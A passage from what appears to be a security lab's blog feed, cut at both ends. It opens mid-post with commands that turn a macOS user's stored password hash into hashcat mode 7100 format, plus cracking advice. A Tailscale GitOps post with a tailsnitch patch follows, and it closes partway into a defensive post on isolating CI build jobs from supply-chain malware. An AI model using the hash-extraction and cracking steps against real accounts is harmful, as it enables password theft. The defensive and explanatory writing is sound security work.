&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;salt&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM=
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;iterations&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;integer&amp;gt;&lt;/span&gt;133333&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/integer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we extract the &lt;code&gt;entropy&lt;/code&gt; and &lt;code&gt;salt&lt;/code&gt; keys out of the &lt;code&gt;SALTED-SHA512-PBKDF2&lt;/code&gt; block, using &lt;code&gt;xxd&lt;/code&gt; to hexdump them:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;entropy&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8TiN2V7&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul3bKt9pDuLU3i/lnx2eLV&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;edIizn0pG2XzJYKPLR23xcNn1lnU5IA=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;salt&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo $entropy | base64 -d | xxd -p -c &lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo $salt | base64 -d | xxd -p -c &lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These values are then combined with the iteration count in the following format:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ml$&amp;lt;iterations&amp;gt;$&amp;lt;salt&amp;gt;$&amp;lt;entropy&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using the example data above, we get the following hash:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ml$133333$b79da29e6314deda4f290cd849d0f9365a1e06d5c704e707fac7c978254ec923$7721
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aca677dd25f7ee346e4dd48f11250452c6e6db927044b301c5f03c33df06d5cde974a9fe36aefea4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a897bc4e237657b833ad96fee9802acbad2ae616b896f5dc72c8da1b90c0825e219d2d5bc8f514ca
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;89ed2b1d845deba5ddb2adf690ee2d4de2fe59f1d9e2d579d222ce7d291b65f325828f2d1db7c5c3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;67d659d4e480
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Target this via hashcat mode &lt;code&gt;7100&lt;/code&gt; and away you go.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;hashcat.png&#34;  alt=&#34;Crasking the hash&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;h1 id=&#34;on-cracking&#34;&gt;On Cracking&lt;/h1&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that this particular hashing scheme is relatively slow. If you&amp;rsquo;re used to harvesting &amp;amp; cracking NetNTLM hashes from Windows environments, you&amp;rsquo;re about to be in for a bad time. Even with a relatively strong password cracking setup (we have multiple 4x 3080Ti servers), you&amp;rsquo;ll need to perform more targetted and granular attacks. No running OneRuleToRuleThemStill or d3adhob0 against your favorite 500mb wordlist. Even the &amp;ldquo;smaller&amp;rdquo; lists, like rockyou, will likely still be far too large.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Git&#39;ing gud with Tailscale</title>
      <link>https://labs.sra.io/posts/tailscalegitops/</link>
      <pubDate>Tue, 07 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/tailscalegitops/</guid>
      <description>&lt;p&gt;We use &lt;a href=&#34;https://tailscale.com&#34; target=&#34;_blank&#34;&gt;Tailscale&lt;/a&gt; as our VPN solution internally here at SRA for accessing a lot of our internal systems as well as for having a static egress IP (via exit nodes) for services that only allow IP-based access controls. We developed a GitOps solution to manage the Tailscale &lt;a href=&#34;https://tailscale.com/docs/features/tailnet-policy-file&#34; target=&#34;_blank&#34;&gt;policy&lt;/a&gt; that governs our network. In this blog, we will walk through this solution.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;the-policy-file&#34;&gt;The Policy File&lt;/h2&gt;
&lt;p&gt;Each Tailscale customer network (the &amp;ldquo;Tailnet&amp;rdquo;) is governed by a policy file defined in &lt;a href=&#34;https://github.com/tailscale/hujson&#34; target=&#34;_blank&#34;&gt;HuJSON&lt;/a&gt;. Essentially just JSON with comments and trailing commas and another name for &lt;a href=&#34;https://nigeltao.github.io/blog/2021/json-with-commas-comments.html&#34; target=&#34;_blank&#34;&gt;JWCC&lt;/a&gt;. The policy specification is fairly involved and feature rich, but at its core, it manages Grants that allow or deny connections to destinations. These Grants are fairly expressive and allow for you to specify sources/destinations not just by IPs and ranges, but also by user principals, directory groups, roles, and tags.&lt;/p&gt;</description>
      <content>&lt;p&gt;We use &lt;a href=&#34;https://tailscale.com&#34; target=&#34;_blank&#34;&gt;Tailscale&lt;/a&gt; as our VPN solution internally here at SRA for accessing a lot of our internal systems as well as for having a static egress IP (via exit nodes) for services that only allow IP-based access controls. We developed a GitOps solution to manage the Tailscale &lt;a href=&#34;https://tailscale.com/docs/features/tailnet-policy-file&#34; target=&#34;_blank&#34;&gt;policy&lt;/a&gt; that governs our network. In this blog, we will walk through this solution.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;the-policy-file&#34;&gt;The Policy File&lt;/h2&gt;
&lt;p&gt;Each Tailscale customer network (the &amp;ldquo;Tailnet&amp;rdquo;) is governed by a policy file defined in &lt;a href=&#34;https://github.com/tailscale/hujson&#34; target=&#34;_blank&#34;&gt;HuJSON&lt;/a&gt;. Essentially just JSON with comments and trailing commas and another name for &lt;a href=&#34;https://nigeltao.github.io/blog/2021/json-with-commas-comments.html&#34; target=&#34;_blank&#34;&gt;JWCC&lt;/a&gt;. The policy specification is fairly involved and feature rich, but at its core, it manages Grants that allow or deny connections to destinations. These Grants are fairly expressive and allow for you to specify sources/destinations not just by IPs and ranges, but also by user principals, directory groups, roles, and tags.&lt;/p&gt;
&lt;p&gt;Unfortunately, Tailscale does not provide fine-grained access controls to policies. You cannot delegate access to edit routes for specific network segments or users. You can either edit the entire policy or nothing.&lt;/p&gt;
&lt;p&gt;To workaround this, we moved policy file management to our internal source control system, Azure DevOps (&amp;ldquo;ADO&amp;rdquo;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;gitops&#34;&gt;GitOps&lt;/h2&gt;
&lt;p&gt;GitOps is just management of infrastructure resources via Git. In our case, we manage write access to a policy HuJSON file via Azure DevOps&amp;rsquo; repository access controls then push the policy changes to our Tailnet via a pipeline.&lt;/p&gt;
&lt;p&gt;The policy file is a singular HuJSON document, which is not particularly conducive to easy management since it makes it difficult to see which sections apply to any given area. In our approach, we broke the policy file into smaller HuJSON files, taking inspiration from conventions seen in Linux configuration file management (e.g., Apache/nginx sites, RC files, crontabs, etc). Then we stitch it back together before pushing. This makes management much easier, as someone reviewing the policy or a pull request (PR) can focus on an individual concern(s). When new services are added, they are contained in their individual policy file.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;policyfiletree.png&#34;  alt=&#34;Directory tree of individual policy files&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Directory tree of individual policy files&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This structure also allows you leverage your source control system&amp;rsquo;s path-based rules. For example, you can trigger validation or have stricter controls for grants while being more lenient for additions to tests.&lt;/p&gt;
&lt;p&gt;We wrote a small Python utility to combine these individual files together. The script is packaged into a Wheel then made available to the build pipeline via an internal package repository hosted on Azure DevOps&amp;rsquo; Artifacts. A minimal version of this is included below:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;1&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;1&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Policy file combiner&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
import pathlib
import argparse
import json

from pywuffs import JsonDecoderQuirks
from pywuffs.aux import JsonDecoder, JsonDecoderConfig


_decoder_config = JsonDecoderConfig()
# JWCC is basically just HuJSON by another name.
# Wuffs is used for loading HuJSON files.
# The Wuffs JSON CLI utility, jsonptr, support JWCC
# Quirks for JWCC are found here:
# https://github.com/google/wuffs/blob/3d6c609dc12de3c81e1b8079ceecf96370b086a2/example/jsonptr/jsonptr.cc#L785
_decoder_config.quirks = [
    JsonDecoderQuirks.ALLOW_COMMENT_LINE,
    JsonDecoderQuirks.ALLOW_COMMENT_BLOCK,
    JsonDecoderQuirks.ALLOW_EXTRA_COMMA,
]
_decoder = JsonDecoder(_decoder_config)


def _load_hujson_file(path: pathlib.Path) -&amp;gt; dict:
    &amp;#34;&amp;#34;&amp;#34;
    Given a path, load the file contents then attempt to deserialize using Wuffs

    :param path: Path to HuJSON file
    &amp;#34;&amp;#34;&amp;#34;
    data = path.read_bytes()
    decoded = _decoder.decode(data)
    if decoded.error_message == &amp;#34;&amp;#34;:
        return decoded.parsed
    else:
        raise Exception(f&amp;#34;Cannot load JSON from {path.as_posix()}&amp;#34;)


def main(out_file: str, units: str):
    &amp;#34;&amp;#34;&amp;#34;
    Load all HuJSON files from the given units directory and stitch into single standard JSON file

    The units directory is essentially a file system equivalent of the Tailnet ACL file contents.
    The structure should be

        [units directory]
            |- root.hujson
            |- &amp;lt;key 1 directory&amp;gt;
                |- &amp;lt;hujson file&amp;gt;
                |- ...
            |- &amp;lt;key 2 directory&amp;gt;
                |- &amp;lt;hujson file&amp;gt;
                |- ...

    Where &amp;#34;root.hujson&amp;#34; contains the top-level keys for the ACL file, such as the &amp;#34;tagOwners&amp;#34; key.
    Each key directory should be named after the ACL key, such as &amp;#34;ssh&amp;#34;, &amp;#34;acls&amp;#34;, and &amp;#34;tests&amp;#34;.
    Each file in that directory should be a list item to append to that key.

    For example, units/ssh/foo-1.json with the following contents:
        [{&amp;#34;action&amp;#34;: &amp;#34;check&amp;#34;, &amp;#34;src&amp;#34;: [&amp;#34;bar@example.com&amp;#34;], &amp;#34;dst&amp;#34;: [&amp;#34;tag:baz&amp;#34;], &amp;#34;users&amp;#34;: [&amp;#34;autogroup:nonroot&amp;#34;]}]
    Will get added to the final ACL JSON as
        &amp;#34;ssh&amp;#34;: [{&amp;#34;action&amp;#34;: &amp;#34;check&amp;#34;, &amp;#34;src&amp;#34;: [&amp;#34;bar@example.com&amp;#34;], &amp;#34;dst&amp;#34;: [&amp;#34;tag:baz&amp;#34;], &amp;#34;users&amp;#34;: [&amp;#34;autogroup:nonroot&amp;#34;]}, ...]
    &amp;#34;&amp;#34;&amp;#34;
    out_file = pathlib.Path(out_file)
    units_root = pathlib.Path(units)

    root_json = units_root / &amp;#34;root.hujson&amp;#34;
    root_json = _load_hujson_file(root_json)

    for json_file in units_root.rglob(&amp;#34;*/*.hujson&amp;#34;):
        root_json.setdefault(json_file.parent.name, []).extend(_load_hujson_file(json_file))

    out_file.write_text(json.dumps(root_json, indent=4))


def cli_main():
    parser = argparse.ArgumentParser(prog=&amp;#34;tailnetgen&amp;#34;)
    parser.add_argument(&amp;#34;-o&amp;#34;, &amp;#34;--out-file&amp;#34;, required=True)
    parser.add_argument(&amp;#34;-u&amp;#34;, &amp;#34;--units&amp;#34;, required=False, default=&amp;#34;units/&amp;#34;)
    args = parser.parse_args()
    main(args.out_file, args.units)


if __name__ == &amp;#34;__main__&amp;#34;:
    cli_main()
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;p&gt;To modify the policy, users open a pull request against the primary branch. This triggers a validation pipeline that generates the new policy then validates it against Tailscale&amp;rsquo;s &lt;a href=&#34;https://tailscale.com/api#tag/policyfile/post/tailnet/%7btailnet%7d/acl/validate&#34; target=&#34;_blank&#34;&gt;validation API&lt;/a&gt;, which verifies both the correctness of the JSON and runs any defined &lt;a href=&#34;https://tailscale.com/docs/reference/syntax/policy-file#tests&#34; target=&#34;_blank&#34;&gt;policy tests&lt;/a&gt;.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;prvalidate.png&#34;  alt=&#34;ADO validation pipeline&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;ADO validation pipeline&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Once the pipeline runs and validates, two human reviewers are required to approve the change.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;branchpolicy.png&#34;  alt=&#34;ADO reviewer policy&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;ADO reviewer policy&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Finally, once the approved changes are merged, another pipeline triggers to push the updated policy into production.&lt;/p&gt;
&lt;p&gt;For both the validation and production pipelines, we use Tailscale&amp;rsquo;s &lt;a href=&#34;https://github.com/tailscale/tailscale/tree/main/cmd/gitops-pusher&#34; target=&#34;_blank&#34;&gt;gitops-pusher&lt;/a&gt; CLI utility as a client for the Tailscale API. Credentials are stored in an Azure Key Vault accessible by the pipeline&amp;rsquo;s Service Principal.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;azsecrets.png&#34;  alt=&#34;Azure secrets mapped into ADO&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Azure secrets mapped into ADO&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;hr&gt;
&lt;h2 id=&#34;tailsnitch&#34;&gt;Tailsnitch&lt;/h2&gt;
&lt;p&gt;Earlier this year, Adversis released &lt;a href=&#34;https://github.com/Adversis/tailsnitch&#34; target=&#34;_blank&#34;&gt;tailsnitch&lt;/a&gt;, a CLI tool for performing security auditing of Tailscale environments. It covers both the policy file and tenant configurations.&lt;/p&gt;
&lt;p&gt;In our evaluations, some of the checks seemed useful. However, its operating model is incompatible with our GitOps approach. Tailsnitch works against your production configurations, always pulling data live. This means you cannot validate that a change is insecure before pushing it to production. In our case, we&amp;rsquo;d want to run it during the validation phase against our policy candidate then block the merge if its found to be insecure.&lt;/p&gt;
&lt;p&gt;However, some preliminary works shows that you can simply patch the policy lookup to achieve &amp;ldquo;offline&amp;rdquo; evaluation. The below patch file overrides the &lt;code&gt;GetACLHuJSON&lt;/code&gt; (&lt;code&gt;pkg/client/client.go&lt;/code&gt;) function to use a local policy file defined in the  environment variable &lt;code&gt;ACL_FILE_PATH&lt;/code&gt;. After applying the patch (&lt;code&gt;patch -p0 &amp;lt; patch&lt;/code&gt;) then rebuilding &lt;code&gt;tailsnitch&lt;/code&gt; (&lt;code&gt;make build&lt;/code&gt;), policy evaluation functions will evaluate the local policy for issues (but online functions like evaluating tenant configuration will fail).&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;2&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;2&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;tailsnitch patch&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-diff&#34; &gt;&lt;code&gt;
--- pkg/client/client.go
&amp;#43;&amp;#43;&amp;#43; pkg/client/client.go
@@ -243,14 &amp;#43;243,17 @@ func (c *Client) GetACL(ctx context.Context) (*tailscale.ACL, error) {
 
 // GetACLHuJSON fetches the ACL policy in HuJSON format
 func (c *Client) GetACLHuJSON(ctx context.Context) (*tailscale.ACLHuJSON, error) {
-	if err := c.wait(ctx); err != nil {
-		return nil, err
-	}
-	acl, err := c.ts.ACLHuJSON(ctx)
&amp;#43;	path := os.Getenv(&amp;#34;ACL_FILE_PATH&amp;#34;)
&amp;#43;
&amp;#43;	data, err := os.ReadFile(path)
 	if err != nil {
-		return nil, classifyError(err, &amp;#34;GetACLHuJSON&amp;#34;, &amp;#34;ACL policy&amp;#34;)
&amp;#43;		return nil, err
 	}
-	return acl, nil
&amp;#43;
&amp;#43;	var acl tailscale.ACLHuJSON
&amp;#43;	acl.ACL = string(data)
&amp;#43;
&amp;#43;	return &amp;amp;acl, nil
 }
 
 // GetDevices fetches all devices in the tailnet

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;hr&gt;
&lt;h2 id=&#34;closing&#34;&gt;Closing&lt;/h2&gt;
&lt;p&gt;If you have any questions or concerns, feel free to reach out to &lt;a href=&#34;https://x.com/2xxeformyshirt&#34; target=&#34;_blank&#34;&gt;@2xxeformyshirt&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Isolating Build Jobs</title>
      <link>https://labs.sra.io/posts/cicd_protected_build_jobs/</link>
      <pubDate>Tue, 30 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/cicd_protected_build_jobs/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;We live in an age of rampant supply chain attacks. This class of attacks has been around for a long while, but TeamPCP has significantly increased their visibility among security professionals, developers, and executives alike. TeamPCP&amp;rsquo;s Shai-Hulud needs no introduction, but it is still worth briefly covering their TTPs and the TTPs of campaigns like it.&lt;/p&gt;
&lt;p&gt;TeamPCP, and many other groups, have adopted a rapid smash-and-grab style of attacks. They sacrifice covert, long-term infiltration for rapid exploitation and blast radius amplification. The first step is to compromise either a developer with significant access to an open source project or a misconfigured pipeline, such as via poisoned pipeline execution. This initial foothold provides the ability to publish malicious packages, overwriting legitimate ones. While the exact malware bundled into these packages varies, the end result is the same: on installation, all well known credential locations are pillaged. These credentials are then used to publish a new set of malicious packages. This process repeats, rapidly spreading across the open source ecosystems and internal systems.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;We live in an age of rampant supply chain attacks. This class of attacks has been around for a long while, but TeamPCP has significantly increased their visibility among security professionals, developers, and executives alike. TeamPCP&amp;rsquo;s Shai-Hulud needs no introduction, but it is still worth briefly covering their TTPs and the TTPs of campaigns like it.&lt;/p&gt;
&lt;p&gt;TeamPCP, and many other groups, have adopted a rapid smash-and-grab style of attacks. They sacrifice covert, long-term infiltration for rapid exploitation and blast radius amplification. The first step is to compromise either a developer with significant access to an open source project or a misconfigured pipeline, such as via poisoned pipeline execution. This initial foothold provides the ability to publish malicious packages, overwriting legitimate ones. While the exact malware bundled into these packages varies, the end result is the same: on installation, all well known credential locations are pillaged. These credentials are then used to publish a new set of malicious packages. This process repeats, rapidly spreading across the open source ecosystems and internal systems.&lt;/p&gt;
&lt;p&gt;There are two key take aways with this methodology. First, the malicious packages are setup to detonate immediately on installation. This occurs during the build phase, the continuous integration piece of CI/CD workflows. Second, the malware actively publishes malicious packages. This is the publish phase, the continuous deployment piece.&lt;/p&gt;
&lt;p&gt;Despite being two distinct phases, these attackers have found success pivoting from one phase to the other. This is largely because developers have stopped delineating between them. CI/CD is regularly treated as a singular thing.&lt;/p&gt;
&lt;h1 id=&#34;isolate-the-build-phase-protect-the-publish-phase&#34;&gt;Isolate the Build Phase; Protect the Publish Phase&lt;/h1&gt;
&lt;p&gt;Described through this lens, the solution becomes obvious: don&amp;rsquo;t give your build phase jobs the ability to publish packages. Lets look at a simple GitHub Action workflow. We&amp;rsquo;re going to assume no lock file is used so the package installation step could feasibly pull in a compromised package.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Publish Package to npmjs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;release&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;types&lt;/span&gt;: [&lt;span style=&#34;color:#ae81ff&#34;&gt;published]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# expose the NPM token for publishing to NPM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;NODE_AUTH_TOKEN&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${{ secrets.NPM_TOKEN }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;build&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;id-token&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;write&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# checkout source code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/checkout@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# install nodejs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/setup-node@v4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
